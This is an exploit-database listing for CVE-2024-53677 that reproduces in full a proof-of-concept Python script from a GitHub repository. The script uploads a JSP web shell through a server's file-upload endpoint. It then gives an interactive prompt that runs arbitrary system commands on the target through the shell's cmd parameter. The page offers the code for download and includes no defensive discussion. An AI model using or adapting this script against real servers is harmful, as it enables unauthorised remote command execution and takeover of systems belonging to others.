Exploit database

GH-023b0bb4b5c17b7915dae2d5c3045d42

shishirghimir/cve-2024-53677-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-53677

15 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
shishirghimir/cve-2024-53677-exploitRevision 0220550f5f9a

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 1,963 bytes
import requests
import sys

# Target details (change if necessary)
TARGET_URL = "http://localhost:8080"  # Base URL of the vulnerable server
UPLOAD_URL = f"{TARGET_URL}/upload.action"  # Endpoint for uploading the malicious file
SHELL_URL = f"{TARGET_URL}/uploads/shell.jsp"  # Location where the shell will be uploaded

# Name of the malicious JSP shell file
FILE_NAME = "shell.jsp"

def upload_shell():
    """
    Uploads the JSP web shell to the target system.

    This function sends a POST request to the file upload endpoint,
    attaching the JSP shell as a malicious file.
    """
    files = {'upload': (FILE_NAME, open(FILE_NAME, 'rb'), 'application/octet-stream')}
    
    print("[*] Uploading the web shell...")
    response = requests.post(UPLOAD_URL, files=files)
    
    if response.status_code == 200:
        print(f"[+] Shell uploaded successfully at {SHELL_URL}")
        return True
    else:
        print("[-] Shell upload failed. Target may not be vulnerable.")
        return False

def execute_command(command):
    """
    Executes system commands via the uploaded JSP web shell.

    Parameters:
    - command: The system command to be executed on the remote target.

    This function sends a GET request to the web shell, passing the command as a URL parameter.
    """
    cmd_url = f"{SHELL_URL}?cmd={command}"
    response = requests.get(cmd_url)
    
    if response.status_code == 200:
        print(f"[+] Command Output:\n{response.text}")
    else:
        print("[-] Failed to execute command.")

if __name__ == "__main__":
    """
    Main function that first uploads the shell, then allows the user
    to interact with the remote shell by entering commands.
    """
    if upload_shell():
        while True:
            cmd = input("Shell> ")  # Interactive shell prompt
            if cmd.lower() in ["exit", "quit"]:
                print("[-] Exiting shell.")
                break
            execute_command(cmd)